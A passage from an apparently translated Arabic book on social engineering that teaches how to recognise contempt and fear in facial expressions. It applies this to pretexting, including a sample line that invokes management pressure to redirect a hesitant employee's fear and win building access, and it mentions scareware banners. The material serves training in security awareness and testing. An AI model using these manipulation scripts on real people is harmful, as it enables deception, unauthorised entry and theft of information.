‫ﻋﻧدﻣﺎ ﯾﺗم رﻓﻊ ﺟﺎﻧب واﺣد ﻣن اﻟﻔم واﻟﺧد ﺑﺗﮭﻣﺔ اﻻزدراء‪ ،‬ﻓﺈﻧﮫ ﯾﺧﻠﻖ أﺣﯾﺎﻧﺎ ﻧوﻋﺎ ﻣن اﻻﺑﺗﺳﺎﻣﺔ اﻟﻣﺗﻛﻠﻔﺔ‪ .‬ﯾﻣﻛن أن ﯾﺗﺑﻊ ھذا اﻟﻌرض ﺟﺎﻧب‬
‫واﺣد ﻣن اﻹﯾﻣﺎءة أو إﺷﺎرة أﺧرى ﺗﺷﯾر إﻟﻰ ﻣﺷﺎﻋر اﻟﻐطرﺳﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪835‬‬

‫ﯾﺗﻣﯾز اﻻزدراء‪/‬اﻻﺣﺗﻘﺎر ﺑﺗﺟﻌد اﻷﻧف ورﻓﻊ اﻟﺷﻔﺔ‪ ،‬وﺗﺿﯾﻖ اﻟﻌﯾن وﻟﻛن ﻓﻘط ﻋﻠﻰ ﺟﺎﻧب واﺣد ﻣن اﻟوﺟﮫ‪ ،‬ﺑﯾﻧﻣﺎ اﻻﺷﻣﺋزاز ھو رﻓﻊ اﻟﺷﻔﺔ‬
‫ﺑﺄﻛﻣﻠﮭﺎ وﺗﺟﻌد اﻷﻧف ﻛﻠﮫ‪ .‬ﯾﻣﻛن رؤﯾﺔ اﻟﺗﻌﺑﯾر اﻻزدراء دﻗﯾﻖ ﺟدا ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻓﻲ ﺣﯾن ﯾﺗم ﻋرض أﻛﺛر وﺿوﺣﺎ ﻓﻲ اﻟﺷﻛل اﻟذي ﺑﻌده‪.‬‬
‫ﻣﺣﺎوﻟﺔ ﻟﺗﻘﻠﯾد اﻻزدراء‪ ،‬إذا ﻛﻧت ﻣﺛﻠﻲ‪ ،‬ﻓﺳوف ﺗﺷﻌر ﺑﺳرﻋﺔ اﻟﻐﺿب واﻻﺣﺗﻘﺎر ﻓﻲ ﻗﻠﺑك‪ .‬أداء ھذا اﻟﺗﻣرﯾن ورؤﯾﺔ ﻛﯾف ﯾﻣﻛن ﻟﮭذه اﻟﺗﻔﺎﻋﻼت‬
‫أن ﺗؤﺛر ﻋﻠﯾك ﻋﺎطﻔﯾﺎ‪.‬‬

‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗراﻓﻖ ﻣﻊ ﺷﻌور اﻻزدراء اﻟﺷﻌور ﺑﺎﻟﻐﺿب‪ ،‬ﻷن اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺑب اﻻﺣﺗﻘﺎر ﻓﻲ ﺷﺧص ﯾﻣﻛن أن ﺗؤدي اﻟﻰ اﻟﻣﺷﺎﻋر‬
‫اﻟﺳﻠﺑﯾﺔ اﻟﻘوﯾﺔ‪ .‬اﻻﺣﺗﻘﺎر ھو اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﺗرﻏب ﻓﻲ ﺗﺟﻧب اﻟﺗﺳﺑب ﺑﮭﺎ ﻷي ﺷﺧص ﻛﻧت ﺗﺗﻌﺎﻣل‪ ،‬وﺧﺎﺻﺔ إذا ﻛﻧت ﻣﻧﺧرطﺎ ﻓﻲ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﻻ أﺳﺗطﯾﻊ أن أﻗول إن ھذا ﯾﻛﻔﻲ‪ :‬اﻻﺣﺗﻘﺎر ھﻲ اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﻣن اﻟﺳﮭل أن ﺗﻔﻘد ﻟﻐﯾر اﻟﻣﺗدرﺑﯾن‪ ،‬ﻟﻛﻧﮫ ﻣﮭم ﻻﻟﺗﻘﺎط واﺣده‪ .‬ﺑﻣﺟرد أن ﻧﺗﻌﻠم ﻛﯾف‬
‫ﻧﺗﻌرف ﻋﻠﻰ اﻻزدراء‪ ،‬ﻓﺈﻧﮫ ﺳوف ﻗﻔز اﻟﯾك‪.‬‬
‫ﻟﺗوﺿﯾﺢ ھذه اﻟﻧﻘطﺔ ﻋن اﻻزدراء‪ ،‬ﺳوف ﻧﺗﺎﺑﻊ ﻗﺻﺔ ﻗﺎﻟﮭﺎ اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ ﻋﻧدﻣﺎ ﻛﺎن ﻗﺎدرا ﻋﻠﻰ رؤﯾﺔ واﺳﺗﺧدام ھذا اﻟﺗﻌﺑﯾر‪ .‬ذات ﻣره‪،‬‬
‫ﺑﯾﻧﻣﺎ ﻛﺎن ﻓﻲ اﻟﺑﻠدان اﻟﻌرﺑﯾﺔ‪ ،‬دﻋﺎ ﻣﺿﯾف اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ ﻟﺗﻧﺎول اﻟطﻌﺎم ﻣﻌﮫ‪ ،‬وﻟﻛﻧﮫ طﻠب ﻣﻧﮫ ﺑﺣدة أﻻ ﯾطﻠب اﻟﻛﺣول وھو ﻓﻲ طﺎوﻟﺗﮫ‪ .‬ھذا‬
‫ھو طﻠب ﺷﺎﺋﻊ ﺟدا ﻓﻲ اﻟﺛﻘﺎﻓﺎت اﻹﺳﻼﻣﯾﺔ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻗﺎل ﻟﻲ اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ أﻧﮫ ﻻﺣظ اﻟﺷﻌور ﺑﺎﻻﺣﺗﻘﺎر ﺻﻐﯾر ﯾظﮭر ﻋﻠﻰ وﺟﮫ واﺣد ﻣن‬
‫زﻣﻼﺋﮫ‪ .‬ﻓﻲ وﻗت ﻻﺣﻖ‪ ،‬ﺑﻌد ﺗطور اﻟﻌﻼﻗﺔ ﻣﻊ ﻣﺳﺎﻋده ﻗﯾل ﻟﮫ أن اﻟﻣﺿﯾف ﻛﺎن "ﻣﻧﺎﻓﻖ" ﻷﻧﮫ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺷرب اﻟﻛﺣول أﺛﻧﺎء اﻟﺳﻔر اﻟﻰ اﻟﺧﺎرج‪.‬‬
‫اﻟﻣﺳﺎﻋد‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﻣﺑﺗدئ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﺿﯾف‪ ،‬ﻓﺎﻟرأي اﻟﻣرﺟﺢ أﻧﮫ ﻛﺎن ﻣﺳﻠم ﻣﺗدﯾن أﻛﺛر ﻷﻧﮫ ﻻ ﯾﺷرب اﻟﺧﻣر‪.‬‬
‫إذا ﻛﻧت ﺗرى ذﻟك ﺧﻼل اﻟﺗﻔﺎﻋل وﻛﻧت ﻏﯾر ﻣﺗﺄﻛد ﻟﻣﺎذا‪ ،‬ﻓﻘم ﺑﺈﻋﺎدة ﺗﻘوﯾم وﺗﻘﯾﯾم ﺑﺳرﻋﺔ إذا ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﻐﯾﯾر ﺷﻲء ﺣول ﻧﮭﺟك أو ﻟﻐﺔ‬
‫اﻟﺟﺳد‪ .‬ﺗﺄﻛد ﻣن أﻧﮫ ﻻ ﯾﺟري ﺷﻌور اﻟﻌدواﻧﯾﺔ ﻓﻲ ﻧﮭﺟﻛم أو اﻟﻛﻼم‪ ،‬وأﻧك ﻻ ﺗﺳﺗﺧدم أي ﻟﻐﺔ ھﺟوﻣﯾﺔ أو ﻧﻛﺎت‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﺣﺗﻰ ﻗﺑل‬
‫أن ﺗﺧرج ﻋﻠﻰ اﻟﻣﺷﺎرﻛﺔ ﺗﺄﻛد ﻣن ﻣظﮭرك ﺑﺎﻧﮫ ﻟﯾس ھﺟوﻣﻲ ﺑﺄي ﺷﻛل ﻣن اﻷﺷﻛﺎل ﻋن اﻟﺣﺷد اﻟذي ﺗﺳﺗﮭدﻓﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪836‬‬

‫اﻟﺨﻮف )‪(Fear‬‬

‫ﺗﺧﯾل أﻧك ﺗﺷﺎھد ﻓﯾﻠم‪ ،‬واﻟﻣوﺳﯾﻘﻰ ﺗﺑدو ﻣﺷؤوﻣﺔ ﻛﺄﻧﮭﺎ اﻣرأة ﺗﻣﺷﻰ ﻣن ﺧﻼل ﻏرﻓﺔ ﻣظﻠﻣﺔ‪ .‬ﻣوﺳﯾﻘﻰ ﺗﺧﺑرك ﺑﺄن ﺷﯾﺋﺎ ﻣﺎ ﻋﻠﻰ وﺷك اﻟﺣدوث‪.‬‬
‫ﻓﻘد ﻋرﺿت )‪ (Preload‬ﺑﻌض ﻣن اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪ .‬ﻓﺟﺄة‪ ،‬ﯾﻘﻔز اﻟﻣﮭﺎﺟم ﻣن زاوﯾﺔ ﻣظﻠﻣﺔ‪ ،‬ﺷﺎھرا ﺳﻛﯾﻧﺎ‪ .‬ﻣﺎذا ﯾﺣدث؟‬
‫رﺑﻣﺎ ﺗﻠﮭث او ﺗﺻرخ‪ .‬راﺳك و‪/‬أو ﺟﺳﻣك رﺑﻣﺎ ﯾﺗﺣرك إﻟﻰ اﻟوراء‪ ،‬ﺑﻌﯾدا ﻋن اﻟﺷﻲء اﻟذي ﯾﺳﺑب ﻟك اﻟﺧوف‪ .‬ھذه اﻷﻣور ﺗﺣدث ﻓﻲ اﺳﺗﺟﺎﺑﺔ‬
‫ﻟﻘرار اﻟﻧﻔﺳﻲ اﻟذي ھو "اﻟﻣﻛﺎﻓﺣﺔ أو اﻟﮭروب"‪ .‬ﺟﺳﻣك ﯾﺳﺗﻌد ﻷﻣﺎ‪ ،‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ ﻋﻠﻰ اﻷرﺟﺢ ﯾﮭرب!‬
‫رﺑﻣﺎ ﺣﺗﻰ أﻛﺛر أﺛرا ﻓﻲ اﻟﻧﻔس ھو ﻣﺎ ﯾﺣدث ﻋﻠﻰ وﺟﮭك ﻋﻧدﻣﺎ ﺗﻛون ﺧﺎﺋﻔﺎ‪ .‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﺗرﻓﻊ ﺣﺎﺟﺑﯾك‪ ،‬ﺗﺗﺳﻊ ﻋﯾﻧﯾك‪ ،‬ﺗﻔﺗﺢ‬
‫ﻓﻣﯾك ﻛﺄﻧك ﺗﻠﮭث‪ ،‬ﺗﺳﺣب ﺷﻔﺗﯾك ﻟﻠﺧﻠف‪ ،‬واﻟوﺟﮫ واﻟﺟﺳم ﯾﺻﺑﺣﺎ ﻣﺗوﺗرﯾن‪.‬‬

‫ﻻﺣظ اﻟﺿﯾﻖ ﻓﻲ اﻟﺟﻔون اﻟﻌﻠﯾﺎ اﻟﻣرﻓوﻋﺔ واﻟﺗﻲ ﺗظﮭر ﺑﯾﺎض اﻟﻌﯾن ﻓوق اﻟﻘزﺣﯾﺔ‪ ،‬واﻟﺳﺣب اﻷﻓﻘﻲ ﻟﻠﺷﻔﺗﯾن‪ .‬ﻟو أﻧك رأﯾت ﺗﻌﺑﯾرات اﻟوﺟﮫ ھذه‬
‫ﻋﻠﻰ اﻟﮭدف‪ ،‬ورﺑﻣﺎ ﻛﻧت ﻗد ﺗﻌرﻓت ﻋﻠﻰ اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ داﺧﻠﮫ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ھﻧﺎك ﺷﺧص ﯾﺧﺎف وﻟﻛﻧﮫ ﻻ ﯾﻌرض داﺋﻣﺎ‬
‫ﻛل اﻻﺳﺗﺟﺎﺑﺎت اﻟﺟﺳدﯾﺔ اﻟﺗﻲ ذﻛرت ﻟﻠﺗو‪ .‬أﺣﯾﺎﻧﺎ ﻋﻼﻣﺎت اﻟﺧوف أﻛﺛر دھﺎء ﻣن ذﻟك ﺑﻛﺛﯾر‪ .‬رﺑﻣﺎ ﻋﺎطﻔﺔ اﻟﺧوف ﻻ ﺗﺧﯾف ﻓﻲ اﻟواﻗﻊ وﻟﻛن‬
‫ﺑدﻻ ﻣن ذﻟك ﺗﻘﻠﻖ أوﻻ اﻟﻣﺷﺎﻋر اﻟﻣرﺗﺑطﺔ ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﻣﻊ اﻟﺧوف‪.‬‬
‫ﻛﻣﺎ ذﻛرت ﻓﻲ اﻟﺟزء اﻟﺳﺎﺑﻖ‪ ،‬اﻟﻣﺷﻌر ﯾﻣﻛﻧﮭﺎ ﺗﺣدﯾد ھذه اﻟﻌﺎطﻔﺔ أﻛﺛر ﻋﻣﻘﺎ‪ ،‬ﻣﺛل ﻣروع‪ ،‬ﺧﺎﺋف‪ ،‬ﻣﺗﺣﺟر‪ ،‬ﻣرﻋوب‪ ،‬ﻗﻠﻖ‪ ،‬وﻣذﻋورة‪.‬‬
‫اﻓﺗرض أﻧك ﺗﺣﺎول اﻟوﺻول إﻟﻰ ﻣﺑﻧﻰ ﺑﯾﻧﻣﺎ ﻛﻧت ﻧﻌﻣل ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻣﺣﺗرف‪ .‬طﻠﺑك ﯾﺣﺗﺎج اﻟﻰ ﻣواﻓﻘﺔ‪ ،‬واﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ‬
‫ﯾﺷﻌر ﺑﺎﻟﻘﻠﻖ ﺑﺷﺄن اﺗﺧﺎذ ﻗرار ﺧﺎطﺊ وﻟﻛن ﯾﺣﺎول إﺧﻔﺎء ﻣﺷﺎﻋره‪ .‬ﺑﻌد إﺟراء طﻠﺑك‪ ،‬ﻗد ﺗﺷﺎھد اﻟﺗﻌﺑﯾر ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻋﻧدﻣﺎ ﺗﺷﻌر ﺑﺎﻟﻘﻠﻖ ﻣن ﺷﺧص ﻣﺎ‪ ،‬ﺗرﺗﻔﻊ ﺣﺎﺟﺑﯾﮫ‪ ،‬وﺗرى ﺑﻌض اﻟﺗوﺗر ﻓﻲ ﺟﺑﮭﺗﮫ‪ .‬ﻛﻣﺎ ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ ،‬ﺑن ﯾظﮭر ﻋﻠﯾﮫ ﻋﻼﻣﺎت اﻟﻘﻠﻖ اﻟﺗﻲ‬
‫ﯾﻣﻛن أن ﻧﺧﻠط ﺑﯾن ﺧوﻓﮫ ﻣﻊ اﻟﺣزن‪ .‬ﺑﯾﻧﻣﺎ اﻟﻌﯾون‪ ،‬اﻟﺟﻔن اﻟﻌﻠوي‪ ،‬اﻟﺣواﺟب‪ ،‬واﻟﻔم ﺗﺧﺗﻠف‪ ،‬اﻟﺳﻣﺔ اﻟﻣﺷﺗرﻛﺔ ھﻲ اﻟﺗﺟﺎﻋﯾد اﻟﻣﻌزوﻟﺔ ﻓﻲ‬
‫اﻟﻣﻧطﻘﺔ اﻟوﺳطﻰ ﻣن اﻟﺟﺑﯾن‪ .‬ﻋﯾﻧﯾﮫ ﻗد ﺗﺗﺳﻊ ﻷﻧﮫ ﯾﺗﺄﻣل ﻗراره‪ .‬ﺑﻣﺟرد ﻣﻌرﻓﺔ أﻧﮫ ﯾﺷﻌر ﺑﺎﻟﻘﻠﻖ ﯾﻣﻛن أن ﺗﻛون ذات ﺻﻠﺔ ﺑﺎﻟﺧوف‪ ،‬ﺣﯾث ھذه‬
‫اﻟﻣﺷﺎﻋر ﻻ ﺗﺳﺎﻋدﻧﺎ ﻓﻲ ھذا اﻟوﺿﻊ‪ ،‬ﻛﯾف ﯾﻣﻛن ﺿﺑط أﺳﻠوب اﻻﺗﺻﺎل اﻟﺧﺎﺻﺔ ﺑك ﻹﻋﺎدة ﺗوﺟﯾﮫ اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ‪ ،‬أو اﻻﺳﻛرﯾﺑت‪/‬اﻟﻧص‬
‫اﻟذي ﯾﺗم ﺗﺷﻐﯾﻠﮫ ﻓﻲ ﻋﻘل اﻟﮭدف؟‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪837‬‬

‫ﻷن ﺳﯾﻧﺎرﯾو اﻟﺧوف‪/‬اﻟﻘﻠﻖ ﺗم ﺣﻘﻧﮫ ﺑﺎﻟﻔﻌل‪ ،‬ﻓﺎﻟﻣوﻗف ﻗد ﯾﻛون ﺻﻌﺑﺎ‪ .‬ﻟذﻟك‪ ،‬ﯾﺟب ﺗﻐﯾﯾر أو إﺿﺎﻓﺔ إطﺎر ﻹﻋﺎدة ﺗوﺟﯾﮫ ﺧوف اﻟﮭدف‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬ﻗد ﻧظن أن طﻠﺑك ھو ﺧﻠﻖ اﻟﻘﻠﻖ ﻓﻲ اﻟﮭدف اﻟﺧﺎص ﺑك‪" :‬ھل اﺗرﻛﮫ ھﻛذا؟ ﻣﺎ ھو اﻟﻘرار اﻟﺻﺣﯾﺢ؟ "إﻋﺎدة ﺗوﺟﯾﮫ ﺧوف اﻟﮭدف ﻋن‬
‫طرﯾﻖ ﻗول ﺷﻲء ﻣﺛل" أﻧﺎ أﻓﮭم أن ھذا اﻟطﻠب ﻏرﯾب‪ ،‬وﻟﻛن اﻹدارة طﻠﺑت ﻣﻧﻲ اﻻﺳراع إﻟﻰ ھﻧﺎ ﺑﺳﺑب اﻟوﺿﻊ‪ .‬أﻧﺎ ﻻ أﺣب ذﻟك أي أﻛﺛر ﻣﻣﺎ‬
‫ﺗﻔﻌﻠﮫ‪ ،‬وﻟﻛن أﻧﺎ ﺑﺣﺎﺟﺔ إﻟﻰ ھذا اﻟﻌﻣل"‪ .‬ﺑﯾﺎن ﻣﺛل ھذا ﻗد ﯾوﺟﮫ ﺧوف اﻟﮭدف إﻟﻰ وظﯾﻔﺗﮫ‪ ،‬ﻹﻏﺿﺎب اﻹدارة‪ .‬ھذا ﯾﺧﻔف ﻋﻧﮫ اﻟﻣﺳؤوﻟﯾﺔ‬
‫وﯾﺳﺎﻋده ﻓﻲ اﺗﺧﺎذ ﻗراره‪.‬‬
‫ﻗد ﺳﺎﻋدت اﻷﺑﺣﺎث ﻓﻲ ﻓﮭم أﻧﮫ إذا ظﮭرت ﻋﻼﻣﺎت اﻟﺧوف‪/‬اﻟﻘﻠﻖ‪/‬اﻟذﻋر ﻋﻠﻰ وﺟوھﻧﺎ‪ ،‬ﻓﻧﺣن ﻓﻘط ﻧﻘوم ﺑﺈﺿﺎﻓﺔ ھذه إﻟﻰ ﻣﺷﺎﻋر اﻵﺧرﯾن‬
‫وﺟﻣﻊ اﻟﻣزﯾد ﻣن اﻷﻋﻼم اﻟﺣﻣراء اﻟﻧﻔﺳﯾﺔ‪.‬‬
‫ﻓﻲ ھذه اﻟﺣﺎﻻت ﻣن اﻷﻓﺿل ﻋرض اﻟﺷﻌور ﺑﺎﻟﺳﻌﺎدة وﻟﻛن ﻟﯾس ﺑطرﯾﻘﮫ ﻣﻔرطﮫ‪ ،‬ﺗﻌﺑﯾر ﻋن اﺑﺗﺳﺎﻣﺔ طﻔﯾﻔﺔ وإﻣﺎﻟﺔ اﻟرأس ﺗﺷﯾر إﻟﻰ أﻧﮫ ﯾﻣﻛن‬
‫اﻟوﺛوق ﺑﮭﺎ‪ .‬اﻟﻧﻘطﺔ اﻟرﺋﯾﺳﯾﺔ ھﻧﺎ ھﻲ أﻧك اﻟﺗﻘطت اﻟزﻧﺎد اﻟﻌﺎطﻔﻲ رأﯾت وﻣﯾﺿﺎ ﻣن اﻟﻘﻠﻖ أو اﻟذﻋر وﯾﺟب أن ﺗﺗﻔﺎﻋل ﻣﻊ ھذه اﻟﻌﺎطﻔﺔ‪ .‬ﻋﻠﻰ‬
‫اﻟرﻏم ﻣن أﻧك ﻟم ﺗﻛن ﻣﺗﺄﻛدا ﺗﻣﺎﻣﺎ ﻟﻣﺎذا ﻛﺎن اﻟﺷﺧص ﯾﺷﻌر ﺑﮭذا‪ ،‬ﻓﻠذﻟك ﺗﺣﺗﺎج إﻟﻰ ﺿﻣﺎن ﻟﺗﺗﻣﻛن ﻣن إﻋﺎدة ﺗوﺟﯾﮫ ﻟﺳﺑب أو ﻋﺎطﻔﮫ أﺧرى‪.‬‬
‫ﻛﺛﯾرا ﻣﺎ ﯾﺧﻠط ﺑﯾن ﻣﺷﺎﻋر اﻟﺧوف وﻣﺷﺎﻋر اﻟﻣﻔﺎﺟﺄة ﻷن ھﺎذﯾن اﻻﺛﻧﯾن ﻣن اﻟﻌواطف ﺗﺳﺑب ردود ﻓﻌل ﻣﺷﺎﺑﮭﺔ ﻟﻌﺿﻼت اﻟوﺟﮫ‪ .‬ﯾﺗﻣﯾز ﺷﻌور‬
‫اﻟﺧوف ﺑﻔﺗﺢ اﻟﻌﯾن ﻋﻠﻰ ﻧطﺎق واﺳﻊ‪ ،‬ﻓﻲ ﺣﯾن أن اﻟﺣواﺟب داﺳوا ﻣﻌﺎ ﻧﺣو اﻟداﺧل‪ .‬اﻟﺷﻔﺗﯾن ﺳﺣﺑت ﻣﻌﺎ واﻟﺧروج ﻧﺣو أذﻧﻲ‪.‬‬
‫اﻟﺗﻔﺻﯾل‪:‬‬
‫اﺳﻣﺣوا ﻟﻲ أن اﻗﺳم اﻟﺧوف اﻟﻰ اﺟزاء رﺋﯾﺳﯾﮫ‪ .‬ھذا ﺳﯾﺳﺎﻋدك ﻟﻣﻼﺣظﮫ ھذا اﻟﺗﻌﺑﯾر أﻛﺛر وﺿوﺣﺎ‪ ،‬إﻋﺎدة إﻧﺗﺎﺟﮫ ﻋﻠﻰ اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻵﺧرﯾن‪،‬‬
‫وﺗﻼﺣظ إذا ﻛﺎن ﻟدﯾك ﻋﺎدة ﻹظﮭﺎر ھذا اﻟﺗﻌﺑﯾر‪ .‬ھﻧﺎ ﺑﻌض اﻟﻧﺻﺎﺋﺢ ﻣن اﻟدﻛﺗور ﺑول ﻛﯾﻠﻲ ﻟﻣﺳﺎﻋدﺗك ﻋﻠﻰ ﻓﮭم اﻟﺣرﻛﺎت اﻟﻣﺷﺎرﻛﺔ ﻓﻲ‬
‫اﻟﺧوف‪:‬‬
‫‪ -‬رﻓﻊ اﻟﺟﻔون اﻟﻌﻠﯾﺎ اﻟﺧﺎﺻﺔ ﺑك اﻗﺻﻰ ارﺗﻔﺎع ﯾﻣﻛﻧك ان ﺗﺻل اﻟﯾﮫ‪ .‬إذا ﻛﺎن ذﻟك ﻣﻣﻛﻧﺎ‪ ،‬ﺗوﺗر اﻟﺟﻔن اﻟﺳﻔﻠﻲ اﻟﺧﺎص ﺑك ﻓﻲ ﻧﻔس اﻟوﻗت‪.‬‬
‫ﻣﻊ اﻟﺧوف‪ ،‬واﺣدة ﻣن اﻟﻔروق اﻟرﺋﯾﺳﯾﺔ ھﻲ اﺗﺳﺎع اﻟﻌﯾﻧﯾن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫اﺳﺣب ﺷﻔﺗﯾك أﻓﻘﯾﺎ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ .‬ﻣﺣﺎوﻟﺔ ﻗول ﻛﻠﻣﺔ"أﯾك" ﻛﺄﻧك ﻓﻘط رأﯾت ﻓﺎر ھذا اﻟﺗﻌﺑﯾر ﯾرﺳم ﻋﺿﻼت اﻟﻔم ﺟﺎﻧﺑﯾﺎ‪.‬‬ ‫‪-‬‬

‫‪ -‬رﻓﻊ ﺣﺎﺟﺑﯾك ﺑﯾﻧﻣﺎ ﺗﻘوم ﺑﺗوﺗﯾر اﻟﺟﻔون اﻟﻌﻠﯾﺎ ﻟﺗﻛﺷف ﻋن ﺑﯾﺎض اﻟﻌﯾن ﻓوق اﻟﻘزﺣﯾﺔ‪.‬‬
‫ﺣﻘﯾﻘﺔ أن ﺟﺑﯾن ﺳﯾﻠﯾﻧﺎ وﺣﺎﺟﺑﯾﮭﺎ ﺗﻐطﯾﮭﺎ ﺷﻌرھﺎ أﺣﺿر ﻧﻘطﺔ ﻣﮭﻣﺔ‪ :‬ﺣﺗﻰ ﻣﻊ اﻟوﺟﮫ اﻟﻣﻐطﻰ ﺟزﺋﯾﺎ‪ ،‬ﯾﻣﻛﻧﻧﺎ أن ﻧرى ﺑوﺿوح أن ھذا ھو‬
‫اﻟﺧوف ﻋﻧدﻣﺎ ﻧرى ﻛل ﻣن اﻟﻌﯾﻧﯾن واﻟﻔم‪.‬‬
‫ﻣﺎرس ھذه اﻟﺟواﻧب ﻣن اﻟﺧوف ﻓﻲ اﻟﻣرآة‪ ،‬وﻻﺣظ أي ﺗﻐﯾرات ﻓﺳﯾوﻟوﺟﯾﺔ ﺗﺣدث‪ .‬إذا ﻛﺎن ﻟدﯾك ﺻﻌوﺑﺔ ﻓﻲ إﻋﺎدة إﻧﺗﺎج اﻟﺧوف‪ ،‬واﻟوﻗوف‬
‫أﻣﺎم ﻣرآة‪ ،‬اﻓﺗﺢ ﻋﯾﻧﯾك واﺳﻌﺔ‪ ،‬وﻗول "إﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾﯾك" ﺣﯾن ﺗدﻓﻊ رأﺳك إﻟﻰ اﻟﺧﻠف‪ .‬ﺳوف ﺗﺧﻠﻖ ﺷﻛل اﻟﻔم ى اﻟﺧوف وﺗوﺗر اﻟﻌﻧﻖ اﻟﺗﻲ‬
‫ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ ﻣﻌرﻓﺔ ﻛﯾف ﯾﺑدو ھذا وﺗﻌرف ﻛﯾف ﺗﺷﻌر‪.‬‬
‫اﻷرﺟﺢ أﻧك ﺳوف ﺗﺷﻌر ﺑﺎﻟﻌﺎطﻔﺔ‪ .‬أرﺳل ﻟﻲ ﺻدﯾﻖ ھذه اﻟﺻورة ﻻﺑﻧﺗﮫ ﻋﻧد اﻟرﻛوب ﻟﻠﺳﻔﯾﻧﺔ )اﻟﺷﻛل اﻟﺗﺎﻟﻲ(‪ .‬ﯾﻣﻛﻧك ان ﺗرى ﺑوﺿوح‬
‫اﻟﺣﺎﺟﺑﯾن اﻟﻣﺛﺎران‪ ،‬اﻟﻌﯾون اﻟواﺳﻌﺔ وﻓﺗﺢ اﻟﻔم ﻣﻊ اﻟﺷﻔﺎه اﻟﻣﺳﺣوﺑﺔ ﺑﺎﻟﻌرض‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪838‬‬

‫ﻣن وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم اﻟﺧوف ﻟﺗﺟﻌل اﻟﻧﺎس ﺗﺗﻔﺎﻋل ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﯾﺳﺗﺧدم‬
‫ﺗﻛﺗﯾﻛﺎت اﻟﺧوف ﻟﻠﺣﺻول ﻋﻠﻰ اطﻣﺋﻧﺎن اﻟﻣﺳﺗﺧدم إﻟﻰ اﻟﻧﻘر ﻋﻠﻰ ﻻﻓﺗﺔ أو اﻟﺗﺧﻠﻲ ﻋن ﻗطﻌﺔ ﺛﻣﯾﻧﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻻﻓﺗﺎت‬
‫اﻟﺧﺑﯾﺛﺔ ﻗد ﯾدﻋﻲ "إﺻﺎﺑﺔ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص ﺑك ﻣﻊ اﻟﻔﯾروس‪ .‬اﻧﻘر ھﻧﺎ ﻟﺗﺻﻠﯾﺢ ذﻟك اﻵن" ھذه اﻟﻼﻓﺗﺎت ﺗﻌﻣل ﺿد اﻟﻣﺳﺗﺧدم ﻏﯾر اﻟﺗﻘﻧﻲ‬
‫اﻟذﯾن ﯾﺧﺷون اﻟﻔﯾروس وﺳوف ﯾﻧﻘرون‪ ،‬إﻻ أﻧﮭم ﺳوف ﯾﻛوﻧوا ﻣﺻﺎﺑﯾن ﻓﻲ ﺗﻠك اﻟﻣرﺣﻠﺔ‪.‬‬
